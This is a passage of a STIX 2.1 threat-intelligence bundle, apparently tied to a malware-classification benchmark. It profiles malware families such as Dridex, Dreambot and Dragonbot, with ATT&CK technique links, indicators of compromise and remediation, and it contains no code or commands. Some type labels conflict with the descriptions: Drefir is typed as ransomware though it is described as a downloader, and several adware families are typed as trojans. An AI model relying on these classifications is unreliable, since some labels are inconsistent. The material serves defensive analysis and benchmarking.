payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloadsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloadsoft"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57c425ca-0d4d-5ff2-a4ec-1a2765ed5f8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68902f7f-ad8d-5448-ac93-425d1b5c6c9b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadsoft exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f10eae51-6080-5beb-b7d4-a6bbe691bb0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68902f7f-ad8d-5448-ac93-425d1b5c6c9b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadsoft exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--383fd2f2-b920-5b5e-b723-5537304ee380",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68902f7f-ad8d-5448-ac93-425d1b5c6c9b",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadsoft exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5e10f96-43f6-5a07-bff4-147803d0db46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68902f7f-ad8d-5448-ac93-425d1b5c6c9b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadsoft exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--884b9dca-d099-52fc-b460-ae8d525f9cba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Doyo",
      "description": "Adware:Win32/Doyo is a pervasive Potentially Unwanted Application (PUA) and Adware variant whose primary objective is aggressive monetization through unauthorized advertising injection and browser hijacking. It severely degrades the user experience by hijacking search queries, inserting interstitial ads into legitimate websites, and tracking browsing habits to build marketing profiles, which are then sold to third-party data brokers.<br><br><b>Understanding the Doyo Threat</b><br>To an end-user, Doyo manifests as a sudden, drastic slowdown in web browsing, accompanied by unprompted pop-ups and a changed default search engine. For a corporate IT department, Doyo is a major productivity sink and a security risk, as the injected advertisements frequently link to tech support scams, phishing sites, or exploit kits capable of dropping more severe malware.<br><br><b>Execution and Browser Hijacking Mechanics</b><br>Doyo is almost exclusively distributed via Pay-Per-Install (PPI) bundling networks (`T1189`). When a user downloads freeware (like a PDF converter) from an untrustworthy site, the Doyo installer is silently executed in the background (`T1204.002`). It establishes persistence by creating scheduled tasks (`T1053.005`) and dropping malicious extensions into all installed browsers (Chrome, Edge, Firefox) (`T1176`). It modifies the browser's shortcut files (`.lnk`) to append arguments that force the browser to open Doyo-controlled domains upon launch. It then intercepts web traffic to inject its own HTML/JavaScript advertisements over legitimate page content.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the loss of user productivity and potential exposure to secondary threats. Host-based IoCs include EDR alerts for the modification of browser `.lnk` files on the Desktop or Taskbar, and the presence of unfamiliar, heavily obfuscated browser extensions. Network IoCs include a high volume of HTTP/HTTPS traffic to known adware tracking domains (often fast-flux domains) and a sudden drop in traffic to the organization's approved default search provider. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Doyo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/doyo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--135d1fa3-e5c3-5814-9d5d-71030b1a8730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--884b9dca-d099-52fc-b460-ae8d525f9cba",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doyo exhibits technique T1189 (Drive-by Compromise (Software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88969c33-d074-5a3a-a004-592016a9a43b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--884b9dca-d099-52fc-b460-ae8d525f9cba",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doyo exhibits technique T1176 (Browser Extensions (Malicious add-ons for ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4744a5b1-c235-5083-93f3-e427d58513ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--884b9dca-d099-52fc-b460-ae8d525f9cba",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doyo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser shortcuts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f417312-4764-526d-9074-2de7e1642b7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--884b9dca-d099-52fc-b460-ae8d525f9cba",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Doyo exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef87d9a0-b8b7-5920-a2ee-b3ec8ca89d2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dragonbot",
      "description": "Backdoor:Win32/Dragonbot is a versatile and persistent Remote Access Trojan (RAT) and botnet client. It provides an attacker with comprehensive, interactive control over a compromised Windows system. Unlike simple downloaders, Dragonbot is designed for 'hands-on-keyboard' attacks, allowing a human operator to explore the file system, steal credentials, execute arbitrary commands, and enlist the machine into a botnet for DDoS attacks (`T1059`).<br><br><b>Understanding Dragonbot (RAT/Botnet)</b><br>To an end-user, the infection is entirely invisible, though system performance may degrade if the botnet initiates a DDoS attack. For an incident response team, the presence of Dragonbot indicates an active, intelligent adversary is inside the network, capable of pivoting laterally and stealing sensitive data.<br><br><b>Execution and Interactive Control Mechanics</b><br>Dragonbot is typically delivered via spearphishing campaigns (weaponized Office documents) or dropped by initial access brokers. Upon execution, it establishes persistence, often via Registry Run keys or hidden Scheduled Tasks (`T1547.001`). It establishes a reverse shell connection to the attacker's C2 server. The Dragonbot control panel provides the attacker with a GUI to execute a wide array of modules: file managers, registry editors, keyloggers (`T1056.001`), password dumpers (targeting browsers and FTP clients), and remote desktop capabilities. It also contains routines for launching UDP/TCP flood attacks (`T1498.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality, a high likelihood of lateral movement, and the liability of the host participating in DDoS attacks. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories for exfiltration. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking during interactive sessions or DDoS floods. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dragonbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dragonbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0226bed4-d8c4-5bc9-9ea8-d89f73e26615",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef87d9a0-b8b7-5920-a2ee-b3ec8ca89d2f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dragonbot exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2549bc3-3b20-5f4f-b0ec-1059aac82ecb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef87d9a0-b8b7-5920-a2ee-b3ec8ca89d2f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dragonbot exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dea5b5a2-6f94-5b9c-9ddd-67a4f532cdd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef87d9a0-b8b7-5920-a2ee-b3ec8ca89d2f",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dragonbot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood (Using the host to participate in DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--638e6ce3-2801-5d0d-8d04-b9614a7fa6af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef87d9a0-b8b7-5920-a2ee-b3ec8ca89d2f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dragonbot exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--002761f3-3e34-534a-a3d4-22b6ce40b306",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dreambot",
      "description": "DreamBot (also recognized as a prominent branch of the Ursnif/ISFB banking trojan family, tracked under designations including Trojan:Win32/DreamBot, Trojan:Win32/Ursnif.DreamBot, and Win32/DreamBot) is a sophisticated modular banking trojan and info-stealer active since 2014. Distributed via malspam campaigns containing macro-enabled Microsoft Word/Excel attachments, DreamBot deploys complex anti-analysis techniques including Tor-based C2 communication, Domain Generation Algorithms (DGA), and API hashing. DreamBot injects code into explorer.exe and web browsers, conducting Man-in-the-Browser (MitB) attacks, capturing keystrokes, stealing digital certificates, and intercepting online banking credentials and cryptocurrency wallet data. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/DreamBot",
        "Trojan:Win32/Ursnif.DreamBot",
        "Win32/DreamBot",
        "DreamBot Banking Trojan",
        "Ursnif-DreamBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dreambot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dreambot"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drefir",
      "description": "Trojan:Win32/Drefir is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Drefir</b><br>To an end-user, a Drefir infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Drefir is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Drefir is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Drefir frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Drefir reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drefir",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drefir"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--299ea7e9-2ff7-5b51-9a1c-b73817b9b8ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drefir exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd8df07d-ceb8-504f-ae52-05eb77a6b72d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drefir exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--041da446-9276-5110-af04-be090127966e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drefir exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cab6751f-76e5-5d90-8824-c34632aea0ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drefir exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23c91c9a-d82f-53b6-89ef-4c036b22e404",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bafe04-c573-5c5a-8435-25e6a80e447c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drefir exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dbc47f69-7d24-503e-b2b8-1947d7ae506a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dridex",
      "description": "Dridex (also known as Bugat v5, Cridex, and Dridex Banking Trojan) is an infamous, highly sophisticated banking trojan and modular malware framework first documented in 2014 by security researchers, operated by the cybercriminal syndicate Evil Corp (tracked by authorities as the INDIGA group, led by Maksim Yakubets). Dridex evolved directly from the earlier Bugat and Cridex trojan lineages, fundamentally re-engineering credential theft and botnet survivability. The malware operates via an advanced modular loader architecture that employs multi-stage API hashing, environmental sandbox detection, and process hollowing (T1055.012) into legitimate Windows processes such as explorer.exe and svchost.exe. Dridex is renowned for its weaponized web-injection engine (Man-in-the-Browser, T1185), which hooks cryptographic and network APIs in Google Chrome, Microsoft Edge, Mozilla Firefox, and Internet Explorer. When a victim browses to targeted financial institutions, Dridex intercepts encrypted HTTPS sessions in real time, alters account balances on the fly, and injects rogue HTML/JavaScript fields to harvest two-factor authentication codes (SMS OTPs and chip-and-pin tokens). Beyond banking fraud, Dridex features an encrypted peer-to-peer (P2P) command-and-control network, XML-based configuration files encrypted with custom RC4/RSA schemes, and dynamic botnet routing nodes. From 2017 onward, Evil Corp leveraged Dridex as a high-value enterprise initial-access broker, utilizing its modular loader to deliver destructive corporate ransomware families, including BitPaymer, DoppelPaymer, and WastedLocker. In December 2019, the U.S. Department of Justice and the UK National Crime Agency indicted Evil Corp leadership, while OFAC levied sweeping financial sanctions, accompanied by CISA Alert AA19-339A detailing Dridex detection and remediation strategies. (Observed samples in benchmark: 59)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Dridex",
        "Bugat v5",
        "Cridex",
        "bugat",
        "W32.Cridex",
        "Trojan:Win32/Dridex",
        "Evil Corp Dridex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dridex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dridex"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA19-339A"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb1982c5-3c19-5589-81c8-ad60600b9d06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverassist",
      "description": "Adware:Win32/Driverassist is a highly aggressive Potentially Unwanted Program (PUP) that masquerades as a legitimate system optimization and driver updating utility. However, its primary goal is deceptive monetization. It deliberately displays false or exaggerated reports about 'outdated' or 'critical' driver issues to frighten the user into purchasing a premium license to fix problems that do not actually exist.<br><br><b>Understanding Driverassist (Rogue Optimizer)</b><br>To an end-user, Driverassist is a source of constant anxiety. The software bombards the desktop with alarming pop-ups, warning that the system is unstable or vulnerable due to missing drivers. For a security team, it represents a breakdown in endpoint hygiene, a vector for social engineering, and a potential gateway for further malware infections, as rogue optimizers are often distributed by affiliate networks that also push trojans.<br><br><b>Execution and Deception Mechanics</b><br>Driverassist is typically installed inadvertently as part of a software bundle when downloading freeware from third-party sites (`T1189`). Upon execution (`T1204.002`), it aggressively establishes persistence by creating multiple scheduled tasks (`T1053.005`) and registry run keys (`T1547.001`) to ensure it launches a 'scan' every time the computer boots. The software performs a superficial scan and invariably returns a long list of 'critical driver errors.' When the user clicks 'Update All,' the software blocks the action and demands a credit card payment for the premium version (`T1491.002` - modified context for deceptive monetization).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial loss for the user, significant annoyance, and decreased system performance due to the constant background scanning and pop-up generation. Host-based IoCs include EDR alerts for the presence of the `DriverAssist.exe` process, unexpected scheduled tasks named 'DriverAssist Update Task', and registry keys associated with the software publisher. Network IoCs include connections to the software vendor's payment and telemetry servers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverassist",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverassist"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1003af19-2b3b-5fb0-b2f5-8c2a86cafb73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb1982c5-3c19-5589-81c8-ad60600b9d06",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverassist exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55037cfc-bf07-5bee-8dec-64fe4075c09f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb1982c5-3c19-5589-81c8-ad60600b9d06",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverassist exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e300887-16d4-5e02-886e-6e772072e9aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb1982c5-3c19-5589-81c8-ad60600b9d06",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverassist exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--225d83fd-8d0b-5bf9-9500-da3e4c9bb77c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverbooster",
      "description": "<h3>Executive Summary</h3>\nDriverBooster (developed by IObit) is widely classified by enterprise security vendors as a Potentially Unwanted Program (PUP) or \"Rogue Software.\" While marketed as a legitimate utility to automatically update outdated Windows drivers, its aggressive marketing tactics, intrusive behavior, and tendency to install incorrect or unstable drivers pose significant operational risks to corporate environments, leading to system instability and increased IT support overhead.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDriverBooster is typically installed intentionally by end-users seeking to \"optimize\" their PCs, or it is bundled silently alongside other freeware downloads from third-party aggregators.\n\nUpon installation, it exhibits several behaviors characteristic of PUPs:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application often performs a rapid scan and immediately reports that numerous \"critical\" drivers are \"extremely outdated,\" using alarming colors and language to create a false sense of urgency, pressuring the user to purchase the \"Pro\" version.</li>\n<li><strong>System Instability (The Primary Risk):</strong> DriverBooster frequently installs generic, incorrect, or highly unstable drivers that conflict with specific enterprise hardware configurations. This regularly leads to Blue Screens of Death (BSODs), network adapter failures, and peripheral malfunctions.</li>\n<li><strong>Aggressive Persistence and Bundling:</strong> The software establishes persistence via registry keys and scheduled tasks, constantly nagging the user with pop-ups. Furthermore, IObit software often bundles *other* unwanted utilities (like \"Advanced SystemCare\") during installation.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile DriverBooster is not malicious in the sense of stealing data or encrypting files, it is highly detrimental to enterprise stability. The unauthorized modification of low-level system drivers bypasses IT change management controls and is a leading cause of localized endpoint outages.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Automated Removal:</strong> Utilize enterprise endpoint management tools (like SCCM, Intune, or a managed AV solution) to automatically uninstall the DriverBooster application and any bundled IObit utilities across the network.</li>\n<li><strong>System Restore (If Unstable):</strong> If the application successfully updated drivers and the system is now experiencing BSODs, the most effective remediation is to utilize Windows System Restore to revert the endpoint to a state prior to the driver modifications.</li>\n<li><strong>Application Control:</strong> Implement strict Application Whitelisting (e.g., Windows AppLocker) to prevent users from downloading and installing \"optimizer\" utilities in the future. All driver updates should be managed centrally by IT via WSUS or vendor-specific management tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.DriverBooster",
        "Rogue.IObit",
        "Riskware.DriverUpdater"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverbooster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverbooster"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fdff853-7427-5cf4-a76f-fac122c12ae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225d83fd-8d0b-5bf9-9500-da3e4c9bb77c",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverbooster exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--925b3411-efe4-5008-8ecc-2247815237cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225d83fd-8d0b-5bf9-9500-da3e4c9bb77c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverbooster exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--493b1989-9646-5ffd-b944-e4e4c333a519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225d83fd-8d0b-5bf9-9500-da3e4c9bb77c",
